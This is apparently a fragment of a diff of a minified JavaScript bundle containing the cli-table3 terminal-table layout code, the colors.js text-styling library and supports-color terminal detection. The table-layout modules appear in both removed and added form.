- `))}wrapLines(e){let t=V.colorizeLines(e);return this.href?t.map(n=>V.hyperlink(this.href,n)):t}init(e){let t=this.x,n=this.y;this.widths=e.colWidths.slice(t,t+this.colSpan),this.heights=e.rowHeights.slice(n,n+this.rowSpan),this.width=this.widths.reduce(fn,-1),this.height=this.heights.reduce(fn,-1),this.hAlign=this.options.hAlign||e.colAligns[t],this.vAlign=this.options.vAlign||e.rowAligns[n],this.drawRight=t+this.colSpan==e.colWidths.length}draw(e,t){if(e=="top")return this.drawTop(this.drawRight);if(e=="bottom")return this.drawBottom(this.drawRight);let n=V.truncate(this.content,10,this.truncate);e||Ho(`${this.y}-${this.x}: ${this.rowSpan-e}x${this.colSpan} Cell ${n}`);let i=Math.max(this.height-this.lines.length,0),o;switch(this.vAlign){case"center":o=Math.ceil(i/2);break;case"bottom":o=i;break;default:o=0}if(e<o||e>=o+this.lines.length)return this.drawEmpty(this.drawRight,t);let s=this.lines.length>this.height&&e+1>=this.height;return this.drawLine(e-o,this.drawRight,s,t)}drawTop(e){let t=[];return this.cells?this.widths.forEach(function(n,i){t.push(this._topLeftChar(i)),t.push(V.repeat(this.chars[this.y==0?"top":"mid"],n))},this):(t.push(this._topLeftChar(0)),t.push(V.repeat(this.chars[this.y==0?"top":"mid"],this.width))),e&&t.push(this.chars[this.y==0?"topRight":"rightMid"]),this.wrapWithStyleColors("border",t.join(""))}_topLeftChar(e){let t=this.x+e,n;if(this.y==0)n=t==0?"topLeft":e==0?"topMid":"top";else if(t==0)n="leftMid";else if(n=e==0?"midMid":"bottomMid",this.cells&&(this.cells[this.y-1][t]instanceof r.ColSpanCell&&(n=e==0?"topMid":"mid"),e==0)){let o=1;for(;this.cells[this.y][t-o]instanceof r.ColSpanCell;)o++;this.cells[this.y][t-o]instanceof r.RowSpanCell&&(n="leftMid")}return this.chars[n]}wrapWithStyleColors(e,t){if(this[e]&&this[e].length)try{let n=ln();for(let i=this[e].length-1;i>=0;i--)n=n[this[e][i]];return n(t)}catch{return t}else return t}drawLine(e,t,n,i){let o=this.chars[this.x==0?"left":"middle"];if(this.x&&i&&this.cells){let d=this.cells[this.y+i][this.x-1];for(;d instanceof Le;)d=this.cells[d.y][d.x-1];d instanceof Pe||(o=this.chars.rightMid)}let s=V.repeat(" ",this.paddingLeft),a=t?this.chars.right:"",u=V.repeat(" ",this.paddingRight),c=this.lines[e],l=this.width-(this.paddingLeft+this.paddingRight);n&&(c+=this.truncate||"\u2026");let f=V.truncate(c,l,this.truncate);return f=V.pad(f,l," ",this.hAlign),f=s+f+u,this.stylizeLine(o,f,a)}stylizeLine(e,t,n){return e=this.wrapWithStyleColors("border",e),n=this.wrapWithStyleColors("border",n),this.y===0&&(t=this.wrapWithStyleColors("head",t)),e+t+n}drawBottom(e){let t=this.chars[this.x==0?"bottomLeft":"bottomMid"],n=V.repeat(this.chars.bottom,this.width),i=e?this.chars.bottomRight:"";return this.wrapWithStyleColors("border",t+n+i)}drawEmpty(e,t){let n=this.chars[this.x==0?"left":"middle"];if(this.x&&t&&this.cells){let s=this.cells[this.y+t][this.x-1];for(;s instanceof Le;)s=this.cells[s.y][s.x-1];s instanceof Pe||(n=this.chars.rightMid)}let i=e?this.chars.right:"",o=V.repeat(" ",this.width);return this.stylizeLine(n,o,i)}},Le=class{constructor(){}draw(e){return typeof e=="number"&&dn(`${this.y}-${this.x}: 1x1 ColSpanCell`),""}init(){}mergeTableOptions(){}},Pe=class{constructor(e){this.originalCell=e}init(e){let t=this.y,n=this.originalCell.y;this.cellOffset=t-n,this.offset=Vo(e.rowHeights,n,this.cellOffset)}draw(e){return e=="top"?this.originalCell.draw(this.offset,this.cellOffset):e=="bottom"?this.originalCell.draw("bottom"):(dn(`${this.y}-${this.x}: 1x${this.colSpan} RowSpanCell for ${this.originalCell.content}`),this.originalCell.draw(this.offset+1+e))}mergeTableOptions(){}};function cn(...r){return r.filter(e=>e!=null).shift()}function At(r,e,t,n){let i=t.split("-");i.length>1?(i[1]=i[1].charAt(0).toUpperCase()+i[1].substr(1),i=i.join(""),n[i]=cn(r[i],r[t],e[i],e[t])):n[t]=cn(r[t],e[t])}function Vo(r,e,t){let n=r[e];for(let i=1;i<t;i++)n+=1+r[e+i];return n}function fn(r,e){return r+e+1}var Go=["top","top-mid","top-left","top-right","bottom","bottom-mid","bottom-left","bottom-right","left","left-mid","mid","mid-mid","right","right-mid","middle"];Qe.exports=Ot;Qe.exports.ColSpanCell=Le;Qe.exports.RowSpanCell=Pe});var Dn=O((ul,mn)=>{"use strict";var{warn:Uo,debug:Ko}=Je(),vt=pn(),{ColSpanCell:qo,RowSpanCell:zo}=vt;(function(){function r(m,p){return m[p]>0?r(m,p+1):p}function e(m){let p={};m.forEach(function(h,g){let y=0;h.forEach(function(C){C.y=g,C.x=g?r(p,y):y;let T=C.rowSpan||1,_=C.colSpan||1;if(T>1)for(let k=0;k<_;k++)p[C.x+k]=T;y=C.x+_}),Object.keys(p).forEach(C=>{p[C]--,p[C]<1&&delete p[C]})})}function t(m){let p=0;return m.forEach(function(h){h.forEach(function(g){p=Math.max(p,g.x+(g.colSpan||1))})}),p}function n(m){return m.length}function i(m,p){let h=m.y,g=m.y-1+(m.rowSpan||1),y=p.y,C=p.y-1+(p.rowSpan||1),T=!(h>C||y>g),_=m.x,k=m.x-1+(m.colSpan||1),Q=p.x,mt=p.x-1+(p.colSpan||1),v=!(_>mt||Q>k);return T&&v}function o(m,p,h){let g=Math.min(m.length-1,h),y={x:p,y:h};for(let C=0;C<=g;C++){let T=m[C];for(let _=0;_<T.length;_++)if(i(y,T[_]))return!0}return!1}function s(m,p,h,g){for(let y=h;y<g;y++)if(o(m,y,p))return!1;return!0}function a(m){m.forEach(function(p,h){p.forEach(function(g){for(let y=1;y<g.rowSpan;y++){let C=new zo(g);C.x=g.x,C.y=g.y+y,C.colSpan=g.colSpan,c(C,m[h+y])}})})}function u(m){for(let p=m.length-1;p>=0;p--){let h=m[p];for(let g=0;g<h.length;g++){let y=h[g];for(let C=1;C<y.colSpan;C++){let T=new qo;T.x=y.x+C,T.y=y.y,h.splice(g+1,0,T)}}}}function c(m,p){let h=0;for(;h<p.length&&p[h].x<m.x;)h++;p.splice(h,0,m)}function l(m){let p=n(m),h=t(m);Ko(`Max rows: ${p}; Max cols: ${h}`);for(let g=0;g<p;g++)for(let y=0;y<h;y++)if(!o(m,y,g)){let C={x:y,y:g,colSpan:1,rowSpan:1};for(y++;y<h&&!o(m,y,g);)C.colSpan++,y++;let T=g+1;for(;T<p&&s(m,T,C.x,C.x+C.colSpan);)C.rowSpan++,T++;let _=new vt(C);_.x=C.x,_.y=C.y,Uo(`Missing cell at ${_.y}-${_.x}.`),c(_,m[g])}}function f(m){return m.map(function(p){if(!Array.isArray(p)){let h=Object.keys(p)[0];p=p[h],Array.isArray(p)?(p=p.slice(),p.unshift(h)):p=[h,p]}return p.map(function(h){return new vt(h)})})}function d(m){let p=f(m);return e(p),l(p),a(p),u(p),p}mn.exports={makeTableLayout:d,layoutTable:e,addRowSpanCells:a,maxWidth:t,fillInTable:l,computeWidths:hn("colSpan","desiredWidth","x",1),computeHeights:hn("rowSpan","desiredHeight","y",1)}})();function hn(r,e,t,n){return function(i,o){let s=[],a=[],u={};o.forEach(function(c){c.forEach(function(l){(l[r]||1)>1?a.push(l):s[l[t]]=Math.max(s[l[t]]||0,l[e]||0,n)})}),i.forEach(function(c,l){typeof c=="number"&&(s[l]=c)});for(let c=a.length-1;c>=0;c--){let l=a[c],f=l[r],d=l[t],m=s[d],p=typeof i[d]=="number"?0:1;if(typeof m=="number")for(let h=1;h<f;h++)m+=1+s[d+h],typeof i[d+h]!="number"&&p++;else m=e==="desiredWidth"?l.desiredWidth-1:1,(!u[d]||u[d]<m)&&(u[d]=m);if(l[e]>m){let h=0;for(;p>0&&l[e]>m;){if(typeof i[d+h]!="number"){let g=Math.round((l[e]-m)/p);m+=g,s[d+h]+=g,p--}h++}}}Object.assign(i,s,u);for(let c=0;c<i.length;c++)i[c]=Math.max(n,i[c]||0)}}});var yn=O((al,gn)=>{"use strict";var te=Je(),Yo=St(),kt=Dn(),Ze=class extends Array{constructor(e){super();let t=Yo.mergeOptions(e);if(Object.defineProperty(this,"options",{value:t,enumerable:t.debug}),t.debug){switch(typeof t.debug){case"boolean":te.setDebugLevel(te.WARN);break;case"number":te.setDebugLevel(t.debug);break;case"string":te.setDebugLevel(parseInt(t.debug,10));break;default:te.setDebugLevel(te.WARN),te.warn(`Debug option is expected to be boolean, number, or string. Received a ${typeof t.debug}`)}Object.defineProperty(this,"messages",{get(){return te.debugMessages()}})}}toString(){let e=this,t=this.options.head&&this.options.head.length;t?(e=[this.options.head],this.length&&e.push.apply(e,this)):this.options.style.head=[];let n=kt.makeTableLayout(e);n.forEach(function(o){o.forEach(function(s){s.mergeTableOptions(this.options,n)},this)},this),kt.computeWidths(this.options.colWidths,n),kt.computeHeights(this.options.rowHeights,n),n.forEach(function(o){o.forEach(function(s){s.init(this.options)},this)},this);let i=[];for(let o=0;o<n.length;o++){let s=n[o],a=this.options.rowHeights[o];(o===0||!this.options.style.compact||o==1&&t)&&Rt(s,"top",i);for(let u=0;u<a;u++)Rt(s,u,i);o+1==n.length&&Rt(s,"bottom",i)}return i.join(`
4
+ `);let i=t?Bo:So;for(let o=0;o<e.length;o++)n.push.apply(n,i(r,e[o]));return n}function Ao(r){let e={},t=[];for(let n=0;n<r.length;n++){let i=Co(e,r[n]);e=yo(i);let o=Object.assign({},e);t.push(Tr(o,i))}return t}function Oo(r,e){return["\x1B]","8",";",";",r||e,"\x07",e,"\x1B]","8",";",";","\x07"].join("")}Lr.exports={strlen:Y,repeat:Re,pad:go,truncate:wo,mergeOptions:Fo,wordWrap:xo,colorizeLines:Ao,hyperlink:Oo}});var Nr=O((za,Ir)=>{"use strict";var $r={};Ir.exports=$r;var Pr={reset:[0,0],bold:[1,22],dim:[2,22],italic:[3,23],underline:[4,24],inverse:[7,27],hidden:[8,28],strikethrough:[9,29],black:[30,39],red:[31,39],green:[32,39],yellow:[33,39],blue:[34,39],magenta:[35,39],cyan:[36,39],white:[37,39],gray:[90,39],grey:[90,39],brightRed:[91,39],brightGreen:[92,39],brightYellow:[93,39],brightBlue:[94,39],brightMagenta:[95,39],brightCyan:[96,39],brightWhite:[97,39],bgBlack:[40,49],bgRed:[41,49],bgGreen:[42,49],bgYellow:[43,49],bgBlue:[44,49],bgMagenta:[45,49],bgCyan:[46,49],bgWhite:[47,49],bgGray:[100,49],bgGrey:[100,49],bgBrightRed:[101,49],bgBrightGreen:[102,49],bgBrightYellow:[103,49],bgBrightBlue:[104,49],bgBrightMagenta:[105,49],bgBrightCyan:[106,49],bgBrightWhite:[107,49],blackBG:[40,49],redBG:[41,49],greenBG:[42,49],yellowBG:[43,49],blueBG:[44,49],magentaBG:[45,49],cyanBG:[46,49],whiteBG:[47,49]};Object.keys(Pr).forEach(function(r){var e=Pr[r],t=$r[r]=[];t.open="\x1B["+e[0]+"m",t.close="\x1B["+e[1]+"m"})});var Wr=O((Ya,Mr)=>{"use strict";Mr.exports=function(r,e){e=e||process.argv;var t=e.indexOf("--"),n=/^-{1,2}/.test(r)?"":"--",i=e.indexOf(n+r);return i!==-1&&(t===-1?!0:i<t)}});var jr=O((Ja,Hr)=>{"use strict";var vo=nr("os"),K=Wr(),W=process.env,pe=void 0;K("no-color")||K("no-colors")||K("color=false")?pe=!1:(K("color")||K("colors")||K("color=true")||K("color=always"))&&(pe=!0);"FORCE_COLOR"in W&&(pe=W.FORCE_COLOR.length===0||parseInt(W.FORCE_COLOR,10)!==0);function ko(r){return r===0?!1:{level:r,hasBasic:!0,has256:r>=2,has16m:r>=3}}function Ro(r){if(pe===!1)return 0;if(K("color=16m")||K("color=full")||K("color=truecolor"))return 3;if(K("color=256"))return 2;if(r&&!r.isTTY&&pe!==!0)return 0;var e=pe?1:0;if(process.platform==="win32"){var t=vo.release().split(".");return Number(process.versions.node.split(".")[0])>=8&&Number(t[0])>=10&&Number(t[2])>=10586?Number(t[2])>=14931?3:2:1}if("CI"in W)return["TRAVIS","CIRCLECI","APPVEYOR","GITLAB_CI"].some(function(i){return i in W})||W.CI_NAME==="codeship"?1:e;if("TEAMCITY_VERSION"in W)return/^(9\.(0*[1-9]\d*)\.|\d{2,}\.)/.test(W.TEAMCITY_VERSION)?1:0;if("TERM_PROGRAM"in W){var n=parseInt((W.TERM_PROGRAM_VERSION||"").split(".")[0],10);switch(W.TERM_PROGRAM){case"iTerm.app":return n>=3?3:2;case"Hyper":return 3;case"Apple_Terminal":return 2}}return/-256(color)?$/i.test(W.TERM)?2:/^screen|^xterm|^vt100|^rxvt|color|ansi|cygwin|linux/i.test(W.TERM)||"COLORTERM"in W?1:(W.TERM==="dumb",e)}function xt(r){var e=Ro(r);return ko(e)}Hr.exports={supportsColor:xt,stdout:xt(process.stdout),stderr:xt(process.stderr)}});var Gr=O((Xa,Vr)=>{"use strict";Vr.exports=function(e,t){var n="";e=e||"Run the trap, drop the bass",e=e.split("");var i={a:["@","\u0104","\u023A","\u0245","\u0394","\u039B","\u0414"],b:["\xDF","\u0181","\u0243","\u026E","\u03B2","\u0E3F"],c:["\xA9","\u023B","\u03FE"],d:["\xD0","\u018A","\u0500","\u0501","\u0502","\u0503"],e:["\xCB","\u0115","\u018E","\u0258","\u03A3","\u03BE","\u04BC","\u0A6C"],f:["\u04FA"],g:["\u0262"],h:["\u0126","\u0195","\u04A2","\u04BA","\u04C7","\u050A"],i:["\u0F0F"],j:["\u0134"],k:["\u0138","\u04A0","\u04C3","\u051E"],l:["\u0139"],m:["\u028D","\u04CD","\u04CE","\u0520","\u0521","\u0D69"],n:["\xD1","\u014B","\u019D","\u0376","\u03A0","\u048A"],o:["\xD8","\xF5","\xF8","\u01FE","\u0298","\u047A","\u05DD","\u06DD","\u0E4F"],p:["\u01F7","\u048E"],q:["\u09CD"],r:["\xAE","\u01A6","\u0210","\u024C","\u0280","\u042F"],s:["\xA7","\u03DE","\u03DF","\u03E8"],t:["\u0141","\u0166","\u0373"],u:["\u01B1","\u054D"],v:["\u05D8"],w:["\u0428","\u0460","\u047C","\u0D70"],x:["\u04B2","\u04FE","\u04FC","\u04FD"],y:["\xA5","\u04B0","\u04CB"],z:["\u01B5","\u0240"]};return e.forEach(function(o){o=o.toLowerCase();var s=i[o]||[" "],a=Math.floor(Math.random()*s.length);typeof i[o]<"u"?n+=i[o][a]:n+=o}),n}});var Kr=O((Qa,Ur)=>{"use strict";Ur.exports=function(e,t){e=e||" he is here ";var n={up:["\u030D","\u030E","\u0304","\u0305","\u033F","\u0311","\u0306","\u0310","\u0352","\u0357","\u0351","\u0307","\u0308","\u030A","\u0342","\u0313","\u0308","\u034A","\u034B","\u034C","\u0303","\u0302","\u030C","\u0350","\u0300","\u0301","\u030B","\u030F","\u0312","\u0313","\u0314","\u033D","\u0309","\u0363","\u0364","\u0365","\u0366","\u0367","\u0368","\u0369","\u036A","\u036B","\u036C","\u036D","\u036E","\u036F","\u033E","\u035B","\u0346","\u031A"],down:["\u0316","\u0317","\u0318","\u0319","\u031C","\u031D","\u031E","\u031F","\u0320","\u0324","\u0325","\u0326","\u0329","\u032A","\u032B","\u032C","\u032D","\u032E","\u032F","\u0330","\u0331","\u0332","\u0333","\u0339","\u033A","\u033B","\u033C","\u0345","\u0347","\u0348","\u0349","\u034D","\u034E","\u0353","\u0354","\u0355","\u0356","\u0359","\u035A","\u0323"],mid:["\u0315","\u031B","\u0300","\u0301","\u0358","\u0321","\u0322","\u0327","\u0328","\u0334","\u0335","\u0336","\u035C","\u035D","\u035E","\u035F","\u0360","\u0362","\u0338","\u0337","\u0361"," \u0489"]},i=[].concat(n.up,n.down,n.mid);function o(u){var c=Math.floor(Math.random()*u);return c}function s(u){var c=!1;return i.filter(function(l){c=l===u}),c}function a(u,c){var l="",f,d;c=c||{},c.up=typeof c.up<"u"?c.up:!0,c.mid=typeof c.mid<"u"?c.mid:!0,c.down=typeof c.down<"u"?c.down:!0,c.size=typeof c.size<"u"?c.size:"maxi",u=u.split("");for(d in u)if(!s(d)){switch(l=l+u[d],f={up:0,down:0,mid:0},c.size){case"mini":f.up=o(8),f.mid=o(2),f.down=o(8);break;case"maxi":f.up=o(16)+3,f.mid=o(4)+1,f.down=o(64)+3;break;default:f.up=o(8)+1,f.mid=o(6)/2,f.down=o(8)+1;break}var D=["up","mid","down"];for(var p in D)for(var h=D[p],g=0;g<=f[h];g++)c[h]&&(l=l+n[h][o(n[h].length)])}return l}return a(e,t)}});var zr=O((Za,qr)=>{"use strict";qr.exports=function(r){return function(e,t,n){if(e===" ")return e;switch(t%3){case 0:return r.red(e);case 1:return r.white(e);case 2:return r.blue(e)}}}});var Jr=O((el,Yr)=>{"use strict";Yr.exports=function(r){return function(e,t,n){return t%2===0?e:r.inverse(e)}}});var Qr=O((tl,Xr)=>{"use strict";Xr.exports=function(r){var e=["red","yellow","green","blue","magenta"];return function(t,n,i){return t===" "?t:r[e[n++%e.length]](t)}}});var en=O((rl,Zr)=>{"use strict";Zr.exports=function(r){var e=["underline","inverse","grey","yellow","red","green","blue","white","cyan","magenta","brightYellow","brightRed","brightGreen","brightBlue","brightWhite","brightCyan","brightMagenta"];return function(t,n,i){return t===" "?t:r[e[Math.round(Math.random()*(e.length-2))]](t)}}});var un=O((il,sn)=>{"use strict";var E={};sn.exports=E;E.themes={};var To=nr("util"),ue=E.styles=Nr(),rn=Object.defineProperties,Lo=new RegExp(/[\r\n]+/g);E.supportsColor=jr().supportsColor;typeof E.enabled>"u"&&(E.enabled=E.supportsColor()!==!1);E.enable=function(){E.enabled=!0};E.disable=function(){E.enabled=!1};E.stripColors=E.strip=function(r){return(""+r).replace(/\x1B\[\d+m/g,"")};var nl=E.stylize=function(e,t){if(!E.enabled)return e+"";var n=ue[t];return!n&&t in E?E[t](e):n.open+e+n.close},Po=/[|\\{}()[\]^$+*?.]/g,$o=function(r){if(typeof r!="string")throw new TypeError("Expected a string");return r.replace(Po,"\\$&")};function nn(r){var e=function t(){return No.apply(t,arguments)};return e._styles=r,e.__proto__=Io,e}var on=(function(){var r={};return ue.grey=ue.gray,Object.keys(ue).forEach(function(e){ue[e].closeRe=new RegExp($o(ue[e].close),"g"),r[e]={get:function(){return nn(this._styles.concat(e))}}}),r})(),Io=rn(function(){},on);function No(){var r=Array.prototype.slice.call(arguments),e=r.map(function(s){return s!=null&&s.constructor===String?s:To.inspect(s)}).join(" ");if(!E.enabled||!e)return e;for(var t=e.indexOf(`
5
+ `)!=-1,n=this._styles,i=n.length;i--;){var o=ue[n[i]];e=o.open+e.replace(o.closeRe,o.open)+o.close,t&&(e=e.replace(Lo,function(s){return o.close+s+o.open}))}return e}E.setTheme=function(r){if(typeof r=="string"){console.log("colors.setTheme now only accepts an object, not a string. If you are trying to set a theme from a file, it is now your (the caller's) responsibility to require the file. The old syntax looked like colors.setTheme(__dirname + '/../themes/generic-logging.js'); The new syntax looks like colors.setTheme(require(__dirname + '/../themes/generic-logging.js'));");return}for(var e in r)(function(t){E[t]=function(n){if(typeof r[t]=="object"){var i=n;for(var o in r[t])i=E[r[t][o]](i);return i}return E[r[t]](n)}})(e)};function Mo(){var r={};return Object.keys(on).forEach(function(e){r[e]={get:function(){return nn([e])}}}),r}var Wo=function(e,t){var n=t.split("");return n=n.map(e),n.join("")};E.trap=Gr();E.zalgo=Kr();E.maps={};E.maps.america=zr()(E);E.maps.zebra=Jr()(E);E.maps.rainbow=Qr()(E);E.maps.random=en()(E);for(tn in E.maps)(function(r){E[r]=function(e){return Wo(E.maps[r],e)}})(tn);var tn;rn(E,Mo())});var ln=O((ol,an)=>{"use strict";var Ho=un();an.exports=Ho});var pn=O((sl,Qe)=>{"use strict";var{info:jo,debug:dn}=Je(),V=St(),Ot=class r{constructor(e){this.setOptions(e),this.x=null,this.y=null}setOptions(e){["boolean","number","bigint","string"].indexOf(typeof e)!==-1&&(e={content:""+e}),e=e||{},this.options=e;let t=e.content;if(["boolean","number","bigint","string"].indexOf(typeof t)!==-1)this.content=String(t);else if(!t)this.content=this.options.href||"";else throw new Error("Content needs to be a primitive, got: "+typeof t);this.colSpan=e.colSpan||1,this.rowSpan=e.rowSpan||1,this.options.href&&Object.defineProperty(this,"href",{get(){return this.options.href}})}mergeTableOptions(e,t){this.cells=t;let n=this.options.chars||{},i=e.chars,o=this.chars={};Go.forEach(function(u){At(n,i,u,o)}),this.truncate=this.options.truncate||e.truncate;let s=this.options.style=this.options.style||{},a=e.style;At(s,a,"padding-left",this),At(s,a,"padding-right",this),this.head=s.head||a.head,this.border=s.border||a.border,this.fixedWidth=e.colWidths[this.x],this.lines=this.computeLines(e),this.desiredWidth=V.strlen(this.content)+this.paddingLeft+this.paddingRight,this.desiredHeight=this.lines.length}computeLines(e){let t=e.wordWrap||e.textWrap,{wordWrap:n=t}=this.options;if(this.fixedWidth&&n){if(this.fixedWidth-=this.paddingLeft+this.paddingRight,this.colSpan){let s=1;for(;s<this.colSpan;)this.fixedWidth+=e.colWidths[this.x+s],s++}let{wrapOnWordBoundary:i=!0}=e,{wrapOnWordBoundary:o=i}=this.options;return this.wrapLines(V.wordWrap(this.fixedWidth,this.content,o))}return this.wrapLines(this.content.split(`
6
+ `))}wrapLines(e){let t=V.colorizeLines(e);return this.href?t.map(n=>V.hyperlink(this.href,n)):t}init(e){let t=this.x,n=this.y;this.widths=e.colWidths.slice(t,t+this.colSpan),this.heights=e.rowHeights.slice(n,n+this.rowSpan),this.width=this.widths.reduce(fn,-1),this.height=this.heights.reduce(fn,-1),this.hAlign=this.options.hAlign||e.colAligns[t],this.vAlign=this.options.vAlign||e.rowAligns[n],this.drawRight=t+this.colSpan==e.colWidths.length}draw(e,t){if(e=="top")return this.drawTop(this.drawRight);if(e=="bottom")return this.drawBottom(this.drawRight);let n=V.truncate(this.content,10,this.truncate);e||jo(`${this.y}-${this.x}: ${this.rowSpan-e}x${this.colSpan} Cell ${n}`);let i=Math.max(this.height-this.lines.length,0),o;switch(this.vAlign){case"center":o=Math.ceil(i/2);break;case"bottom":o=i;break;default:o=0}if(e<o||e>=o+this.lines.length)return this.drawEmpty(this.drawRight,t);let s=this.lines.length>this.height&&e+1>=this.height;return this.drawLine(e-o,this.drawRight,s,t)}drawTop(e){let t=[];return this.cells?this.widths.forEach(function(n,i){t.push(this._topLeftChar(i)),t.push(V.repeat(this.chars[this.y==0?"top":"mid"],n))},this):(t.push(this._topLeftChar(0)),t.push(V.repeat(this.chars[this.y==0?"top":"mid"],this.width))),e&&t.push(this.chars[this.y==0?"topRight":"rightMid"]),this.wrapWithStyleColors("border",t.join(""))}_topLeftChar(e){let t=this.x+e,n;if(this.y==0)n=t==0?"topLeft":e==0?"topMid":"top";else if(t==0)n="leftMid";else if(n=e==0?"midMid":"bottomMid",this.cells&&(this.cells[this.y-1][t]instanceof r.ColSpanCell&&(n=e==0?"topMid":"mid"),e==0)){let o=1;for(;this.cells[this.y][t-o]instanceof r.ColSpanCell;)o++;this.cells[this.y][t-o]instanceof r.RowSpanCell&&(n="leftMid")}return this.chars[n]}wrapWithStyleColors(e,t){if(this[e]&&this[e].length)try{let n=ln();for(let i=this[e].length-1;i>=0;i--)n=n[this[e][i]];return n(t)}catch{return t}else return t}drawLine(e,t,n,i){let o=this.chars[this.x==0?"left":"middle"];if(this.x&&i&&this.cells){let d=this.cells[this.y+i][this.x-1];for(;d instanceof Le;)d=this.cells[d.y][d.x-1];d instanceof Pe||(o=this.chars.rightMid)}let s=V.repeat(" ",this.paddingLeft),a=t?this.chars.right:"",u=V.repeat(" ",this.paddingRight),c=this.lines[e],l=this.width-(this.paddingLeft+this.paddingRight);n&&(c+=this.truncate||"\u2026");let f=V.truncate(c,l,this.truncate);return f=V.pad(f,l," ",this.hAlign),f=s+f+u,this.stylizeLine(o,f,a)}stylizeLine(e,t,n){return e=this.wrapWithStyleColors("border",e),n=this.wrapWithStyleColors("border",n),this.y===0&&(t=this.wrapWithStyleColors("head",t)),e+t+n}drawBottom(e){let t=this.chars[this.x==0?"bottomLeft":"bottomMid"],n=V.repeat(this.chars.bottom,this.width),i=e?this.chars.bottomRight:"";return this.wrapWithStyleColors("border",t+n+i)}drawEmpty(e,t){let n=this.chars[this.x==0?"left":"middle"];if(this.x&&t&&this.cells){let s=this.cells[this.y+t][this.x-1];for(;s instanceof Le;)s=this.cells[s.y][s.x-1];s instanceof Pe||(n=this.chars.rightMid)}let i=e?this.chars.right:"",o=V.repeat(" ",this.width);return this.stylizeLine(n,o,i)}},Le=class{constructor(){}draw(e){return typeof e=="number"&&dn(`${this.y}-${this.x}: 1x1 ColSpanCell`),""}init(){}mergeTableOptions(){}},Pe=class{constructor(e){this.originalCell=e}init(e){let t=this.y,n=this.originalCell.y;this.cellOffset=t-n,this.offset=Vo(e.rowHeights,n,this.cellOffset)}draw(e){return e=="top"?this.originalCell.draw(this.offset,this.cellOffset):e=="bottom"?this.originalCell.draw("bottom"):(dn(`${this.y}-${this.x}: 1x${this.colSpan} RowSpanCell for ${this.originalCell.content}`),this.originalCell.draw(this.offset+1+e))}mergeTableOptions(){}};function cn(...r){return r.filter(e=>e!=null).shift()}function At(r,e,t,n){let i=t.split("-");i.length>1?(i[1]=i[1].charAt(0).toUpperCase()+i[1].substr(1),i=i.join(""),n[i]=cn(r[i],r[t],e[i],e[t])):n[t]=cn(r[t],e[t])}function Vo(r,e,t){let n=r[e];for(let i=1;i<t;i++)n+=1+r[e+i];return n}function fn(r,e){return r+e+1}var Go=["top","top-mid","top-left","top-right","bottom","bottom-mid","bottom-left","bottom-right","left","left-mid","mid","mid-mid","right","right-mid","middle"];Qe.exports=Ot;Qe.exports.ColSpanCell=Le;Qe.exports.RowSpanCell=Pe});var Dn=O((ul,mn)=>{"use strict";var{warn:Uo,debug:Ko}=Je(),vt=pn(),{ColSpanCell:qo,RowSpanCell:zo}=vt;(function(){function r(D,p){return D[p]>0?r(D,p+1):p}function e(D){let p={};D.forEach(function(h,g){let y=0;h.forEach(function(C){C.y=g,C.x=g?r(p,y):y;let T=C.rowSpan||1,_=C.colSpan||1;if(T>1)for(let k=0;k<_;k++)p[C.x+k]=T;y=C.x+_}),Object.keys(p).forEach(C=>{p[C]--,p[C]<1&&delete p[C]})})}function t(D){let p=0;return D.forEach(function(h){h.forEach(function(g){p=Math.max(p,g.x+(g.colSpan||1))})}),p}function n(D){return D.length}function i(D,p){let h=D.y,g=D.y-1+(D.rowSpan||1),y=p.y,C=p.y-1+(p.rowSpan||1),T=!(h>C||y>g),_=D.x,k=D.x-1+(D.colSpan||1),Q=p.x,mt=p.x-1+(p.colSpan||1),v=!(_>mt||Q>k);return T&&v}function o(D,p,h){let g=Math.min(D.length-1,h),y={x:p,y:h};for(let C=0;C<=g;C++){let T=D[C];for(let _=0;_<T.length;_++)if(i(y,T[_]))return!0}return!1}function s(D,p,h,g){for(let y=h;y<g;y++)if(o(D,y,p))return!1;return!0}function a(D){D.forEach(function(p,h){p.forEach(function(g){for(let y=1;y<g.rowSpan;y++){let C=new zo(g);C.x=g.x,C.y=g.y+y,C.colSpan=g.colSpan,c(C,D[h+y])}})})}function u(D){for(let p=D.length-1;p>=0;p--){let h=D[p];for(let g=0;g<h.length;g++){let y=h[g];for(let C=1;C<y.colSpan;C++){let T=new qo;T.x=y.x+C,T.y=y.y,h.splice(g+1,0,T)}}}}function c(D,p){let h=0;for(;h<p.length&&p[h].x<D.x;)h++;p.splice(h,0,D)}function l(D){let p=n(D),h=t(D);Ko(`Max rows: ${p}; Max cols: ${h}`);for(let g=0;g<p;g++)for(let y=0;y<h;y++)if(!o(D,y,g)){let C={x:y,y:g,colSpan:1,rowSpan:1};for(y++;y<h&&!o(D,y,g);)C.colSpan++,y++;let T=g+1;for(;T<p&&s(D,T,C.x,C.x+C.colSpan);)C.rowSpan++,T++;let _=new vt(C);_.x=C.x,_.y=C.y,Uo(`Missing cell at ${_.y}-${_.x}.`),c(_,D[g])}}function f(D){return D.map(function(p){if(!Array.isArray(p)){let h=Object.keys(p)[0];p=p[h],Array.isArray(p)?(p=p.slice(),p.unshift(h)):p=[h,p]}return p.map(function(h){return new vt(h)})})}function d(D){let p=f(D);return e(p),l(p),a(p),u(p),p}mn.exports={makeTableLayout:d,layoutTable:e,addRowSpanCells:a,maxWidth:t,fillInTable:l,computeWidths:hn("colSpan","desiredWidth","x",1),computeHeights:hn("rowSpan","desiredHeight","y",1)}})();function hn(r,e,t,n){return function(i,o){let s=[],a=[],u={};o.forEach(function(c){c.forEach(function(l){(l[r]||1)>1?a.push(l):s[l[t]]=Math.max(s[l[t]]||0,l[e]||0,n)})}),i.forEach(function(c,l){typeof c=="number"&&(s[l]=c)});for(let c=a.length-1;c>=0;c--){let l=a[c],f=l[r],d=l[t],D=s[d],p=typeof i[d]=="number"?0:1;if(typeof D=="number")for(let h=1;h<f;h++)D+=1+s[d+h],typeof i[d+h]!="number"&&p++;else D=e==="desiredWidth"?l.desiredWidth-1:1,(!u[d]||u[d]<D)&&(u[d]=D);if(l[e]>D){let h=0;for(;p>0&&l[e]>D;){if(typeof i[d+h]!="number"){let g=Math.round((l[e]-D)/p);D+=g,s[d+h]+=g,p--}h++}}}Object.assign(i,s,u);for(let c=0;c<i.length;c++)i[c]=Math.max(n,i[c]||0)}}});var yn=O((al,gn)=>{"use strict";var te=Je(),Yo=St(),kt=Dn(),Ze=class extends Array{constructor(e){super();let t=Yo.mergeOptions(e);if(Object.defineProperty(this,"options",{value:t,enumerable:t.debug}),t.debug){switch(typeof 